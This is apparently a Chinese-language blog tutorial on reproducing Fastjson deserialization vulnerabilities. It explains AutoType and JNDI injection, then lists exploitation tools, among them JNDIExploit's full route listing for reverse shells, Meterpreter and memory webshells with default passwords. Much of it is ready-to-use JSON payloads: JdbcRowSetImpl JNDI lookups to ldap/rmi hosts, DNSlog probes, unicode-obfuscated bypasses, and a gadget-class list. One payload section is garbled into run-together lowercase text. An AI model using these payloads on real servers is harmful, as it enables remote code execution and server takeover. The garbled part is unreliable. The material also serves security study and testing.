Fastjson反序列化漏洞复现


0x01 简介

Fastjson 是阿里巴巴开源的一个高性能 JSON 库,广泛应用于 Java 应用中进行 JSON 数据的解析和序列化。然而,由于其功能强大且支持多种 Java 对象的自动反序列化,Fastjson 在历史上多次暴露出严重的安全漏洞,特别是反序列化漏洞。此类漏洞允许攻击者通过精心构造的恶意 JSON 数据包,实现对目标系统的远程代码执行(RCE),从而在未经授权的情况下控制受害者的服务器。本文通过学习fastjson的基础知识,整理了一些公开的Payload,并搭建实验环境进行测试。

0x02 Fastjson相关介绍

Fastjson是阿里巴巴的开源JSON解析库,它是由Java语言编写的JSON处理器/解析器。Fastjson提供了一种快速、高效的方式来处理JSON数据,可以将Java对象转换为JSON格式的数据,也可以将JSON格式的数据转换为Java对象。Fastjson具有高性能和低内存占用的特点,在Java开发中被广泛应用于处理JSON数据。

FastJson因为Auto功能存在缺陷的原因,历史上出现过多次安全漏洞,目前官方针对FastJson的各种历史问题经过重构将其升级到了fastjson2,在fastjson2中提到升级的原因之一是安全性的提升:

fastjson2中完全删除autoType了白名单,且默认关闭autoType功能。在fastjson1项目中反序列化漏洞产生的根本原因就是对autoType功能利用和限制绕过,攻击者可以通过精心构造的类和数据包进行命令执行。

序列化和反序列化

为了理解反序列化漏洞,先来解释下序列化和反序列化。在Java中,序列化是将对象转换为字节序列的过程,这些字节可以被保存到磁盘或数据库,也可以通过流进行发送,序列化通常用于通信(在多个主机之间共享对象)和持久性(将对象状态存储在文件或数据库中)。而从字节序列创建对象的反向过程则称为反序列化。在fastjson中使用序列化和反序列化进行对象和JSON字符串的转换如下:

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import java.io.IOException;
public class Main {
    public static void main(String[] args) {
        // 将一个 Java 对象序列化为 JSON 字符串
        Person person = new Person("张三", 40,1);
        String jsonString = JSON.toJSONString(person);
        System.out.println(jsonString);

        // 将一个 JSON 字符串反序列化为 Java 对象
        String jsonString2 = "{\"name\":\"李四\",\"age\":55,\"sex\":1 }";
        Person person2 = JSON.parseObject(jsonString2, Person.class);
        System.out.println("name:" + person2.name + " sex:"+ person2.getSex() + " age:"+person2.getAge());
        return ;
    }
    // 定义一个类
    public static class Person {
        private String name;private int age;private int sex;
        public Person(String name, int age,int sex) {
            this.name = name;this.age = age;this.sex = sex;
        }
        public String getName() {return name;}
        public int getAge() {return age;}
        public int getSex() {return sex;}
    }
}

执行代码后,第一次输出将对象转为了JSON字符串,第二次将JSON字符串反序列化为了对象并输出了对象的属性:

FastJSON 在序列化和反序列化时,会根据 getter 和 setter 方法来操作对象的属性(在 Java 中,setter 和 getter 是一种常见的编程模式,即通过反射的方式对类的属性进行读取和设置操作),下面的示例可以验证这一点:

import com.alibaba.fastjson.JSON;
public class Main {
    public static void main(String[] args) {
        // 创建一个 Person 对象
        Person person = new Person();
        person.setName("Alice");
        person.setAge(30);

        // 序列化对象为 JSON 字符串
        String jsonString = JSON.toJSONString(person);
        System.out.println("Serialized JSON: " + jsonString);

        // 反序列化 JSON 字符串为对象
        Person newPerson = JSON.parseObject(jsonString, Person.class);

        // 打印反序列化后的对象属性值
        System.out.println("Deserialized Person:");
        System.out.println("Name: " + newPerson.getName());
        System.out.println("Age: " + newPerson.getAge());
    }

    public static class Person {
        private String name;
        private int age;

        // Getter 方法
        public String getName() {
            System.out.println("getName");
            return name;
        }

        // Setter 方法
        public void setName(String name) {
            System.out.println("setName");
            this.name = name;
        }

        // Getter 方法
        public int getAge() {
            return age;
        }

        // Setter 方法
        public void setAge(int age) {
            this.age = age;
        }
    }
}

Autotype功能

fastjsonAutoType 功能是在 1.2.22 版本引入的。AutoType 允许在反序列化过程中自动识别和实例化指定类型的对象,这是通过在 JSON 数据中嵌入类型信息来实现的。然而,这一功能也带来了安全风险,尤其是在未经验证的输入情况下,可能导致反序列化漏洞,允许攻击者执行任意代码。由于这些安全风险,后续版本开发者和安全研究人员对AutoType功能进行了多次修复和修复绕过的攻防对抗。

为了理解autotype的作用,编写如下代码,代码定义了一个名为 Person 的静态内部类,以及一个名为 City 的接口和一个实现了 City 接口的静态内部类 Homefastjson在对这样的类进行序列化和反序列化结果如下:

import com.alibaba.fastjson.JSON;
public class Main {
    public static void main(String[] args) {
        // 创建一个 Person 对象
        Person person = new Person();
        person.setName("Alice");
        person.setAge(30);

        Home home = new Home();
        home.setCityname("chengdu");
        person.setCity(home);

        // 序列化对象为 JSON 字符串
        String jsonString = JSON.toJSONString(person);
        System.out.println("Serialized JSON: " + jsonString);

        // 反序列化 JSON 字符串为对象
        Person newPerson = JSON.parseObject(jsonString, Person.class);

        // 打印反序列化后的对象属性值
        System.out.println("Deserialized Person:");
        // 这里转换时,不知道Home类型是哪里来的,强制转换就会失败
        Home newHome =  (Home) newPerson.getCity();
        System.out.println("newHome : " + newHome);
        System.out.println("Name: " + newPerson.getName());
        System.out.println("Age: " + newPerson.getAge());
    }

    public static class Person {
        private String name;
        private int age;
        private City city;

        public City getCity() {
            System.out.println("getcity");
            return city;
        }

        // Getter 方法
        public String getName() {
            System.out.println("getName");
            return name;
        }

        // Setter 方法
        public void setName(String name) {
            System.out.println("setName");
            this.name = name;
        }

        // Getter 方法
        public int getAge() {
            return age;
        }

        // Setter 方法
        public void setAge(int age) {
            this.age = age;
        }

        public void setCity(City city) {
            this.city = city;
        }
    }


    interface City {

    }

    static class Home implements City {
        private String cityname;

        public String getCityname() {
            return cityname;
        }

        public void setCityname(String cityname) {
            this.cityname = cityname;
        }
    }
}

序列化字符串中的"city":{"cityname":"chengdu"}应该是Home类型,但是fastjson并没有成功转换,抛出了异常。为了解决这个问题,fastjson引入了autotype功能,利用该功能在序列化时标记类对应的原始类型,指定具体的解析类:

import com.alibaba.fastjson.serializer.SerializerFeature;
//使用 SerializerFeature.WriteClassName
String jsonString = JSON.toJSONString(person, SerializerFeature.WriteClassName);

这样序列化的JSON字符串就会带上@type指定需要转换的类型:

当 autotype 功能启用时,Fastjson会尝试根据 JSON 字符串中的类型信息(即 @type 的值)来自动转换为相应的Java对象类型,同时 Fastjson 基于 setter/getter 的转换方式可以在转换类型时设置对象的参数,这就导致可以引入未经授权的类实例化、执行恶意代码或获取系统权限的安全风险。在FastJson漏洞的利用过程中一般是利用目标类执行JNDI注入、指定字节码加载、文件写入等。

parseObject和parse

在 Fastjson 中,有两种反序列化接口可供使用:JSON.parseJSON.parseObject。其中,JSON.parseObject 会自动扫描类中的 getter 方法,并根据 JSON 字符串中的属性值自动匹配 setter 方法来设置对象的属性值。因此,使用 JSON.parseObject 方法可以方便地将 JSON 字符串转换为相应的 Java 对象,无需手动转换类型。相反,JSON.parse 方法不会自动扫描 getter 方法,而是将 JSON 字符串直接解析为一个 JSONObject 对象或其他 JSON 数据类型。因此,JSON.parse 方法返回的是一个 Object 类型的对象,如果需要将其转换为特定的 Java 对象类型,则需要手动进行类型转换。强制类型转换可能会导致 ClassCastException 异常。如下代码进使用JSON.parse转换数据类型时会导致异常:

这时候需要手动对JSON.parse类型进行转换:

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Main {
    public static void main(String[] args) {
        // 示例 JSON 字符串
        String jsonString = "{\"name\":\"John\",\"age\":30,\"city\":{\"name\":\"New York\",\"population\":1000000}}";
        //1. 使用 JSON.parse() 方法解析 JSON 字符串
        Object jsonObject = JSON.parse(jsonString);
        // 手动转换为 Person 对象  // JSON.parse 不会执行 getter 不知道具体类型,需要手动转换
        Person person = convertToObject(jsonObject);
        // 输出 Person 对象的信息
        System.out.println("Name: " + person.getName());
        System.out.println("Age: " + person.getAge());
        System.out.println("City: " + person.getCity().getName());
        System.out.println("City Population: " + person.getCity().getPopulation());
    }

    // 手动转换方法
    private static Person convertToObject(Object jsonObject) {
        if (jsonObject instanceof Person) {
            return (Person) jsonObject;
        } else if (jsonObject instanceof com.alibaba.fastjson.JSONObject) {
            com.alibaba.fastjson.JSONObject json = (com.alibaba.fastjson.JSONObject) jsonObject;
            String name = json.getString("name");
            int age = json.getIntValue("age");
            com.alibaba.fastjson.JSONObject cityJson = json.getJSONObject("city");
            City city = new City(cityJson.getString("name"), cityJson.getIntValue("population"));
            return new Person(name, age, city);
        } else {
            throw new IllegalArgumentException("Unsupported JSON object type");
        }
    }

    // Person 类
    public static class Person {
        private String name;private int age; private City city;
        public Person(String name, int age, City city) {this.name = name;this.age = age;this.city = city;  }
        public String getName() {  return name;}
        public int getAge() { return age; }
        public City getCity() { return city; }
    }

    // City 类
    public static class City {
        private String name;
        private int population;
        public City(String name, int population) {this.name = name; this.population = population;}
        public String getName() { return name; }
        public int getPopulation() {return population;}
    }
}

使用JSON.parseObject() 方法时则可以返回指定类型的 Java 对象:

Person person2 = JSON.parseObject(jsonString,Person.class);

这是因为JSON.parse不自动扫描getter/setter,而JSON.parseObject在执行时会自动调用符合条件的函数(无参数的构造函数、符合条件的getter/setter函数)。JSON.parse在漏洞利用时相比JSON.parseObject有一些难度。不过在fastjson1.2.36版本以后可以利用$ref的方式来调用任意getter,可参考一种利用$ref几乎任意getter触发的方法浅谈fastjson反序列化漏洞_tojsonstring大小限制-CSDN博客Java安全攻防之老版本Fastjson的一些不出网利用中有关$ref的介绍。

JDNI注入简介

在JAVA程序中,JNDI注入是在代码中存在可控的JNDI字符串的情况。这意味着攻击者可以控制JNDI名称,进而构造恶意的RMI(远程方法调用)或LDAP(轻量级目录访问协议)服务端,导致远程服务器加载恶意类,最终实现远程代码执行。恶意类即对JAVA源码进行编译生成的.class文件,除了使用工具现有的恶意类,也可以根据需要自行开发代码进行利用。

JNDI 注入攻击通常涉及识别可控的 JNDI 注入点( lookup()过程中寻找类加载)、部署恶意的 RMI 服务器并编写恶意的类、构造恶意的 JNDI 引用,并最终触发漏洞以执行恶意操作。

在目标环境存在JNDI注入点、可以访问远程服务的情况下,还需要根据JDK版本进行不同的利用方式,在如何绕过高版本JDK的限制进行JNDI注入利用 – KINGX一文中详细列举了这些版本差异和利用方式。这里简单进行了整理,主要有下列分类:

RMI Remote Object Payload

在条件允许的情况下可通过HTTP/FTP/SMB等方式加载远程对象类执行,利用条件如下:
1.RMI客户端的上下文环境允许访问远程Codebase(一个指定jvm搜索类的地址);
2.在client端需要安装RMISecurityManager并且配置java.security.policy
3.JDK 6u45、JDK 7u21 之前版本,属性java.rmi.server.useCodebaseOnly值为false(之前版本默认为false。如果为 true,将禁用自动加载远程类文件)。

Changelog:
JDK 6u45 https://docs.oracle.com/javase/7/docs/technotes/guides/rmi/relnotes.html
JDK 7u21 http://www.oracle.com/technetwork/java/javase/7u21-relnotes-1932873.html

RMI + JNDI Reference Payload

通过RMI协议访问远程对象 (rmi://)
1.允许从远程的Codebase加载Reference工厂类(实现了ObjectFactory接口的类通常被称为工厂类,工厂类负责根据提供的参数创建并返回适当类型的对象实例。);
2.JDK 6u141, JDK 7u131, JDK 8u121 之前版本。

Changelog:
JDK 6u141 http://www.oracle.com/technetwork/java/javase/overview-156328.html#R160_141
JDK 7u131 http://www.oracle.com/technetwork/java/javase/7u131-relnotes-3338543.html
JDK 8u121 http://www.oracle.com/technetwork/java/javase/8u121-relnotes-3315208.html

LDAP + JNDI Reference Payload

通过ladp协议访问远程对象 (ldap://)
1.允许从远程的Codebase加载Reference工厂类;
2.Oracle JDK 11.0.1、8u191、7u201、6u211 之前版本。

Changelog: com.sun.jndi.ldap.object.trustURLCodebase = false
https://gist.github.com/shipilev/cfbe09a31ac32f0cc51078db7898c797

绕过高版本JDK限制进行JNDI注入

JDK高版本中,trustURLCodebase默认设置为false,禁止加载远程ObjectFactory。绕过高版本JDK限制进行JNDI注入:
1.利用本地Class作为Reference Factory
这种利用方式需要本地存在存在可利用的工厂类,这个工厂类必须在受害目标本地的CLASSPATH中。
已知存在下列可利用环境:Tomcat 8+ or SpringBoot 1.2.x+、Tomcat and Groovy、WebSphere v6-v9

2.利用LDAP返回序列化数据,触发本地Gadget

3.相关的利用工具
https://github.com/wyzxxz/jndi_tool
https://github.com/mbechler/marshalsec
https://github.com/feihong-cs/JNDIExploit
https://github.com/veracode-research/rogue-jndi
https://github.com/cckuailong/JNDI-Injection-Exploit-Plus

4.参考链接
https://xz.aliyun.com/t/10829
https://github.com/kezibei/Urldns
https://www.cnblogs.com/bitterz/p/15946406.html

漏洞相关工具介绍

JNDI-Injection-Exploit-Plus

JNDI-Injection-Exploit-Plus是一款JNDI注入利用工具,可以生成JNDI链接并启动后端相关服务。通过这个工具也可以看到其包括了上文介绍的几种类型的Pyload,主要利用Remote JNDI Reference PayloadLocal JNDI Reference Payload和本地反序列化利用链三种方式进行命令执行:

JNDIExploit

JNDIExploit 是一款用于 JNDI注入 利用的工具,包含命令执行、命令执行回显、反弹Shell、内存马等多种利用方式的载荷,可以使用java -jar JNDIExploit.jar -u查看载荷细节:

[+] Basic Queries: ldap://0.0.0.0:1389/Basic/[PayloadType]/[Params], e.g.
ldap://0.0.0.0:1389/Basic/Dnslog/[domain]
ldap://0.0.0.0:1389/Basic/Command/[cmd]
ldap://0.0.0.0:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://0.0.0.0:1389/Basic/ReverseShell/[ip]/[port]  ---windows NOT supported
ldap://0.0.0.0:1389/Basic/TomcatEcho
ldap://0.0.0.0:1389/Basic/SpringEcho
ldap://0.0.0.0:1389/Basic/WeblogicEcho
ldap://0.0.0.0:1389/Basic/TomcatMemshell1
ldap://0.0.0.0:1389/Basic/TomcatMemshell2  ---need extra header [shell: true]
ldap://0.0.0.0:1389/Basic/TomcatMemshell3  /ateam  pass1024     [推荐使用]
ldap://0.0.0.0:1389/Basic/GodzillaMemshell /bteam.ico pass1024  [推荐使用]
ldap://0.0.0.0:1389/Basic/JettyMemshell
ldap://0.0.0.0:1389/Basic/WeblogicMemshell1
ldap://0.0.0.0:1389/Basic/WeblogicMemshell2
ldap://0.0.0.0:1389/Basic/JBossMemshell
ldap://0.0.0.0:1389/Basic/WebsphereMemshell
ldap://0.0.0.0:1389/Basic/SpringMemshell

[+] Deserialize Queries: 
ldap://0.0.0.0:1389/Deserialization/[GadgetType]/[PayloadType]/[Params], e.g.
ldap://0.0.0.0:1389/Deserialization/URLDNS/[domain]
ldap://0.0.0.0:1389/Deserialization/CommonsCollectionsK1/Dnslog/[domain]
ldap://0.0.0.0:1389/Deserialization/CommonsCollectionsK2/Command/Base64/[base64_encoded_cmd]
ldap://0.0.0.0:1389/Deserialization/CommonsBeanutils1/ReverseShell/[ip]/[port]  ---windows NOT supported
ldap://0.0.0.0:1389/Deserialization/CommonsBeanutils2/TomcatEcho
ldap://0.0.0.0:1389/Deserialization/C3P0/SpringEcho
ldap://0.0.0.0:1389/Deserialization/Jdk7u21/WeblogicEcho
ldap://0.0.0.0:1389/Deserialization/Jre8u20/TomcatMemshell
ldap://0.0.0.0:1389/Deserialization/CVE_2020_2555/WeblogicMemshell1
ldap://0.0.0.0:1389/Deserialization/CVE_2020_2883/WeblogicMemshell2    ---ALSO support other memshells

[+] TomcatBypass Queries
ldap://0.0.0.0:1389/TomcatBypass/Dnslog/[domain]
ldap://0.0.0.0:1389/TomcatBypass/Command/[cmd]
ldap://0.0.0.0:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd]
ldap://0.0.0.0:1389/TomcatBypass/ReverseShell/[ip]/[port]  ---windows NOT supported
ldap://0.0.0.0:1389/TomcatBypass/TomcatEcho
ldap://0.0.0.0:1389/TomcatBypass/SpringEcho
ldap://0.0.0.0:1389/TomcatBypass/TomcatMemshell1
ldap://0.0.0.0:1389/TomcatBypass/TomcatMemshell2  ---need extra header [shell: true]
ldap://0.0.0.0:1389/TomcatBypass/TomcatMemshell3  /ateam  pass1024
ldap://0.0.0.0:1389/TomcatBypass/GodzillaMemshell /bteam.ico pass1024
ldap://0.0.0.0:1389/TomcatBypass/SpringMemshell
ldap://0.0.0.0:1389/TomcatBypass/Meterpreter/[ip]/[port]  ---java/meterpreter/reverse_tcp

[+] GroovyBypass Queries
ldap://0.0.0.0:1389/GroovyBypass/Command/[cmd]
ldap://0.0.0.0:1389/GroovyBypass/Command/Base64/[base64_encoded_cmd]

[+] WebsphereBypass Queries
ldap://0.0.0.0:1389/WebsphereBypass/List/file=[file or directory]
ldap://0.0.0.0:1389/WebsphereBypass/Upload/Dnslog/[domain]
ldap://0.0.0.0:1389/WebsphereBypass/Upload/Command/[cmd]
ldap://0.0.0.0:1389/WebsphereBypass/Upload/Command/Base64/[base64_encoded_cmd]
ldap://0.0.0.0:1389/WebsphereBypass/Upload/ReverseShell/[ip]/[port]  ---windows NOT supported
ldap://0.0.0.0:1389/WebsphereBypass/Upload/WebsphereMemshell
ldap://0.0.0.0:1389/WebsphereBypass/RCE/path=[uploaded_jar_path]   ----e.g: ../../../../../tmp/jar_cache7808167489549525095.tmp

JNDIBypass

该工具来自FastJsonParty/1245-jdk8u342,其中提供了该JNDIBypass工具。该工具是fastjson原生反序列化中JNDI利用工具,支持内存命令执行、冰蝎3内存马等利用方法:

其中命令执行内存马使用方法为:ip:port/shell?cmd=whoami。冰蝎v3内存马连接地址: ip:port/behinder,连接密码为rebeyond

Java-memshell-generator(JMG)

Java-memshell-generator是一款可以自定义生成内存马载荷的工具又名JMG,可以通过该工具生成各种类型的内存马载荷,在fastjson漏洞利用中根据不用利用类型可以很方便生成多种输出格式的内存马载荷:

0x03 FastJson Payload

0x03.1 检测是否为FastJson

这里主要是判断目标是否使用了fastjson还是其他类型的解析库,主要是利用fastjson的一些特性进行判断,假设请求JSON如下:

{
    "age":20,
    "name":"Bob"
}

根据报错信息判断

// 如果目标服务器存在报错信息,可以破坏JSON结构,触发报错
{"age":20,"name":"Bob"

// 利用@type功能引发错误,可检测autotype是否开启
{"@type":"whatever"}

根据解析变化判断

{"a":new a(1),"b":x'11',/*\*\/"c":Set[{}{}],"d":"\u0000\x00"}

{"ext":"blue","name":{"$ref":"$.ext"}}

在靶场中只观察到Set[{}{}]可以解析成功:

根据带外信息判断

// 不出网时可以利用网络请求是否延时进行判断
// java.net.URL
{"@type":"java.net.URL","val":"http://dnslog"}
{{"@type":"java.net.URL","val":"http://dnslog"}:0
Set[{"@type":"java.net.URL","val":"http://dnslog"}]
Set[{"@type":"java.net.URL","val":"http://dnslog"}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://dnslog"}}""}

// java.net.InetAddress
{"@type":"java.net.InetAddress","val":"x.x.x.x"}

// java.net.Inet[4|6]Address (以下载荷在1.2.83版本中也可以使用,一般使用该方法探测是否为fastjson)
{"@type":"java.net.Inet4Address","val":"x.x.x.x"}
{"@type":"java.net.Inet6Address","val":"x.x.x.x"}
{{"@type":"java.net.URL","val":"http://dnslog"}:"x"}
{"zero":{"@type":"java.net.Inet4Address","val":"x.x.x.x"}}

// java.net.InetSocketAddress
{"@type":"java.net.InetSocketAddress",{"address":,"val":"x.x.x"}}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"xxx.dns"}, "port":80}

在进行Payload测试时,一般可以将Payload插入到值中:

{"age":25,"name":{"@type":"java.net.InetSocketAddress"{"address":,"val":"x.x.x"}}}

区别jackson和fastjson

// 多余的类成员: 添加一个键值 test,jackson会报错,fastjson不会
{"age":20,"name":"Bob","test":1}

// jackson 不支持单引号作为界定符
{"age":20,'name':'Bob'}

// jackson 可以使用注释符,fastjson 会报错
{
    "age":20,
    "name":'Bob'
}/*#aaaa

// jackson 会丢失精度
{
    "age":20.111111111111111111111111111,
    "name":'Bob'
}

0x03.2 FastJson版本探测

报错信息判断

// 1
{"@type": "java.lang.AutoCloseable"

// 2
["test":1]
    
// 3
a 

1.2.77~1.2.80的版本信息显示会有误,都是返回1.2.76,实际靶场环境是1.2.80:

是否报错判断

//Payload1: 不报错:1.2.24 / 1.2.83,报错: 1.2.25-1.2.80
{"zero":{"@type":"java.lang.Exception","@type":"org.XxException"}}

//Payload2:  不报错:1.2.24-1.2.68,  报错: 1.2.70-1.2.83
{"zero":{"@type":"java.lang.AutoCloseable","@type":"java.io.ByteArrayOutputStream"}}

//Payload3:  不报错:1.2.24-1.2.47,   报错: 1.2.48-1.2.83
{"a": {"@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl"}, "b": {"@type": "com.sun.rowset.JdbcRowSetImpl"}}

//Payload4:不报错:1.2.24, 报错: 1.2.25-1.2.83
{"zero": {"@type": "com.sun.rowset.JdbcRowSetImpl"}}

靶场环境中有一个环境无法根据报错信息得到版本,那么根据不报错Payload进行判断,先使用Payload1,发现没报错,那么可能是1.2.241.2.83:

再使用Payload2进行测试,还是没有报错,那么可能就是1.2.24:

使用Payload4进行测试,发现依然不报错,那么可以初步确定该环境为1.2.24,从靶场中提取出jar包,发现确实是1.2.24

带外信息判断

这些方法可能有一些不是很准确,但是应该也可以结合起来判断目标版本。测试代码如下:

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

interface Animal {
    String makeSound();
}

class Dog implements Animal {
    @Override
    public String makeSound() {
        return "Woof!";
    }
}

class Cat implements Animal {
    @Override
    public String makeSound() {
        return "Meow!";
    }
}

public class Main {
    public static void main(String[] args) {
        String json = "{\n" +
                "\t\"age\":25,\n" +
                "\t\"name\":{\"@type\":\"java.net.InetAddress\",\"val\":\"lz9u.callback.red\"}\n" +
                "}";

        // 不使用 autotype 功能,将会抛出异常
        try {
            Animal animal = JSON.parseObject(json, Animal.class);
            System.out.println("Sound: " + animal.makeSound());
        } catch (com.alibaba.fastjson.JSONException e) {
            System.out.println("Exception caught: " + e.getMessage());
        }
    }
}

然后通过修改fastjson依赖版本的方式来测试,测试的payload列表如下:

// 1.1.16 <= fastjson <=1.2.24 
// (fastjson 1.2.25:autoType is not support. com.sun.rowset.JdbcRowSetImpl)
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://x.x.x.x","autoCommit":true}}

// fastjson >= 1.2.37 (测试成功)
{{"@type":"java.net.URL","val":"http://dnslog"}:"aaa"}

// fastjson < 1.2.48 (测试成功)
{"@type":"java.net.InetAddress","val":"x.x.x.x"}

// fastjson <= 1.2.68 {{"@type":"java.net.url","val":"http: dnslog"}:"aaa"} set[{"@type":"java.net.url","val":"http: dnslog"}] dnslog"} {"@type":"com.alibaba.fastjson.jsonobject", {"@type": "java.net.url", "val":"http: dnslog"}}""} dnslog"}:0 {"@type":"java.net.inetsocketaddress"{"address":,"val":"dnslog"}} {"@type":"java.net.inetsocketaddress"{"address":,"val":"dnslog"}} 精确版本探测(kcon2022-hacking-json.pdf) fastjson 1.2.47 版本探测 [ {"@type": "java.lang.class","val": "java.io.bytearrayoutputstream"}, "java.net.inetsocketaddress"{"address":,"val": "aaa.xxxx.ceye.io"}} ] "java.lang.autocloseable","@type": "bbb.n41tma.ceye.io"}} 1.2.80 收到一个dns请求,1.2.83 收到两个dns请求 "java.lang.exception","@type": "com.alibaba.fastjson.jsonexception","x": "first.dnslog.com"}}}, "com.alibaba.fastjson.jsonexception","message": "ddd.4fhgzj.dnslog.cn"}}} < code>

请求延迟判断

利用fastjson解析地址时请求本机已开放端口不延时,请求不开放的端口则延时的特性判断:

// 1.1.16<= fastjson <=1.2.11,第一个响应时间很长,第二个较短,可判断版本范围
{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://1.2.3.4/POC", "autoCommit":true}}""}

{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1/POC", "autoCommit":true}}""}

// 1.1.15 <= fastjson <=1.2.24(1.2.25报错autoType is not support: x.x.JdbcRowSetImpl)
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}

// 1.1.16<= fastjson <=1.2.24,第一个响应时间很长,第二个较短,可判断版本范围
{"username":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://1.2.3.4/POC","autoCommit":true}}

{"username":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1/POC","autoCommit":true}}

//  1.2.9<= fastjson <= 1.2.47
{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://localhost:808/badNameClass",
        "autoCommit":true
    }
}

// 1.2.9<= fastjson <=1.2.11,第一个响应时间很长,第二个较短,可判断版本范围
{"@type":"com.alibaba.fastjson.JSONObject","a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://1.2.3.4/POC","autoCommit":true}}

{"@type":"com.alibaba.fastjson.JSONObject","a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1/POC","autoCommit":true}}

// 1.2.4<= fastjson <=1.2.47,第一个响应时间很长,第二个较短,可判断版本范围
{"name":{"\u0040\u0074\u0079\u0070\u0065":"\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0043\u006c\u0061\u0073\u0073","\u0076\u0061\u006c":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c"},"x":{"\u0040\u0074\u0079\u0070\u0065":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c","\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065":"ldap://1.2.3.4/test111","autoCommit":true}}

{"name":{"\u0040\u0074\u0079\u0070\u0065":"\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0043\u006c\u0061\u0073\u0073","\u0076\u0061\u006c":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c"},"x":{"\u0040\u0074\u0079\u0070\u0065":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c","\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065":"ldap://127.0.0.1/test111","autoCommit":true}}

// 1.2.28<= fastjson <=1.2.47,第一个响应时间很长,第二个较短,可判断版本范围
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://1.2.3.4/POC","autoCommit":true}}

{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1/POC","autoCommit":true}}

// 通用payload,可用于parseObject的场景
{"@type":"com.alibaba.fastjson.JSONObject",{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://localhost:8088/badNameClass",
        "autoCommit":true
    }
}}""}

{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:8088/badClassName", "autoCommit":true}}""}

// Fastjson 1.2.36 - 1.2.62
{
    "regex":{
        "$ref":"$[blue rlike '^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$']"
    },
    "blue":"aaaaaaaaaaaa!"
}

0x03.3 依赖环境探测

可以通过特定Payload探测目标依赖(gadget)环境,然后根据环境确定POC。主要可以探测以下常见依赖项是否存在:

// jndi (需要出网)
com.sun.rowset.JdbcRowSetImpl                             [常用]
org.apache.shiro.jndi.JndiObjectFactory                   [shiro]
org.apache.shiro.realm.jndi.JndiRealmFactory              [shiro]
com.mchange.v2.c3p0.JndiRefForwardingDataSource           [c3p0]
com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource
org.apache.commons.configuration.JNDIConfiguration  // cmmons-configuration JNDI注入      
org.apache.commons.configuration2.JNDIConfiguration // cmmons-configuration JNDI注入     
org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
org.apache.commons.proxy.provider.remoting.SessionBeanProvider
com.caucho.config.types.ResourceRef
org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup
com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig
br.com.anteros.dbcp.AnterosDBCPConfig
org.apache.shiro.realm.jndi.JndiRealmFactory
org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig
org.apache.xbean.propertyeditor.JndiConverter
oracle.jdbc.connector.OracleManagedConnectionFactory
org.apache.cocoon.components.slide.impl.JMSContentInterceptor
org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory
org.apache.aries.transaction.jms.RecoverablePooledConnectionFactory
...

// 字节码&命令执行
org.apache.ibatis.type.Alias  // Mybatis + BCEL方式执行字节码
